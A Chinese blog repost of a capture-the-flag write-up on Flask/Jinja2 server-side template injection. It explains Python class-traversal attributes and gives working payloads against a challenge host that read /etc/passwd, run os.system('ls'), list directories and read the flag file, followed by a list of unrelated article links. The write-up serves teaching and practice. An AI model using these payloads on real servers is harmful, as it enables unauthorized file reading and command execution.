当前位置: 首页 > news >正文

攻防世界 Web_python_template_injection(flask模版注入)

学习文章:https://www.freebuf.com/column/187845.html

https://blog.csdn.net/weixin_54515836/article/details/113778233

flask的渲染方法有render_template和render_template_string两种。

render_template()是用来渲染一个指定的文件的。使用如下

return render_template('index.html')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

使用方法如下

html = '<h1>This is index page</h1>'
return render_template_string(html)

flask jinjia渲染引擎中格式:

控制结构 {% %}

变量取值 {{}}

注释 {# #}

基础类的执行

__class__ 返回类型所属的对象(类)

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base__ 返回该对象所继承的基类

// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

输入一个表达式1+2发现表达式被执行证明存在ssti

通过python的对象的继承来一步步实现文件读取和命令执行

思路:找到父类<type 'object'>-->寻找子类-->找关于命令执行或者文件操作的模块。

寻找可用的引用类payload:

"".__class__.__mro__[2].__subclasses__()

解析:"".__class__.__mro__[2].__subclasses__()方法返回的是可用类(classes),而不是对象(objects)。

具体来说,__class__是一个内置属性,表示一个对象所属的类。通过调用__class__.__mro__,可以获取该类的方法解析顺序(Method Resolution Order,MRO),它是一个元组,按照查找方法时的顺序列出了对象所属类及其父类。

在MRO中,索引为2的元素表示对象所属类的直接父类。对于大多数类,索引为2处的元素是object类,因为大多数类都直接或间接继承自object类。

然后通过调用__subclasses__()方法,可以获取一个列表,其中包含了该类的所有子类。这些子类是可用的类,可以用于创建对象和调用其方法。

综上所述,"".__class__.__mro__[2].__subclasses__()方法返回的是可用类(classes)

发现type'file'类,可以调用其方法来读取文件

构造一个payload读取/etc/passwd文件

http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

[40]是<type 'file'>所在的第几个位置,从零开始算

可用类中还有一个<class 'site._Printer'>类,可以调用其方法来执行命令(因为它含os模版,有其他的Printer也行)

找到其位置为71,再利用__init__魔术方法初始化类

构造payload

http://61.147.171.105:50215/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}

如果system被过滤或者找不到,用os的listdir读取目录+file模块读取文件

构造payload,listdir函数中的点表示当前目录

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

看到flag的文件名

利用os模块的file,read读取

payload:

http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

成功读取到flag

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 网络安全应急响应信息收集利器-Eagle_Eye
  • Java中Collection集合和Map集合详解(进阶三)
  • sql注入之宽字节注入
  • WEB攻防-通用漏洞SQL注入-ACCESS一般注入与偏移注入
  • 【Scrapy】深入了解 Scrapy 中间件中的 process_spider_output 方法
  • Android 注解的语法原理和使用方法
  • 软设之代理模式
  • 【国内超大型智能算力中心建设白皮书 2024】_智算中心算力规划
  • lodop使用教程---ivx
  • docker 基础命令
  • 免费听书TV版v1.0.1
  • 31. 1049. 最后一块石头的重量 II, 494.目标和,474.一和零
  • 问题清除指南|Dell OptiPlex 7070 升级 win11 开启 TPM 2.0 教程
  • c#的几种通信
  • MybatisPlus 一些技巧
  • Create React App 使用
  • docker容器内的网络抓包
  • idea + plantuml 画流程图
  • JavaScript HTML DOM
  • js ES6 求数组的交集,并集,还有差集
  • OSS Web直传 (文件图片)
  • Spring声明式事务管理之一:五大属性分析
  • Zsh 开发指南(第十四篇 文件读写)
  • 给github项目添加CI badge
  • 聊聊springcloud的EurekaClientAutoConfiguration
  • 猫头鹰的深夜翻译:Java 2D Graphics, 简单的仿射变换
  • 深入浅出Node.js
  • No resource identifier found for attribute,RxJava之zip操作符
  • kubernetes资源对象--ingress
  • 函数计算新功能-----支持C#函数
  • 说说我为什么看好Spring Cloud Alibaba
  • #【QT 5 调试软件后,发布相关:软件生成exe文件 + 文件打包】
  • #中国IT界的第一本漂流日记 传递IT正能量# 【分享得“IT漂友”勋章】
  • (01)ORB-SLAM2源码无死角解析-(66) BA优化(g2o)→闭环线程:Optimizer::GlobalBundleAdjustemnt→全局优化
  • (1/2) 为了理解 UWP 的启动流程,我从零开始创建了一个 UWP 程序
  • (2009.11版)《网络管理员考试 考前冲刺预测卷及考点解析》复习重点
  • (27)4.8 习题课
  • (更新)A股上市公司华证ESG评级得分稳健性校验ESG得分年均值中位数(2009-2023年.12)
  • (三) diretfbrc详解
  • (一)搭建springboot+vue前后端分离项目--前端vue搭建
  • .NET Framework 和 .NET Core 在默认情况下垃圾回收(GC)机制的不同(局部变量部分)
  • .NET 依赖注入和配置系统
  • .NET/ASP.NETMVC 大型站点架构设计—迁移Model元数据设置项(自定义元数据提供程序)...
  • .NET/C# 异常处理:写一个空的 try 块代码,而把重要代码写到 finally 中(Constrained Execution Regions)
  • .NET设计模式(8):适配器模式(Adapter Pattern)
  • [ vulhub漏洞复现篇 ] Apache APISIX 默认密钥漏洞 CVE-2020-13945
  • []使用 Tortoise SVN 创建 Externals 外部引用目录
  • [AIR] NativeExtension在IOS下的开发实例 --- IOS项目的创建 (一)
  • [asp.net core]project.json(2)
  • [C#] 基于 Token 的鉴权与签名机制详解 接口对接鉴权 token、sign(a=1b=2c=3d=4)、Base64、参数加密、MD5
  • [C++数据结构](31)哈夫曼树,哈夫曼编码与解码
  • [GWCTF 2019]我有一个数据库1
  • [HackMyVM]靶场 Quick3
  • [JS]数据类型
  • [LeetCode]Pow(x,n)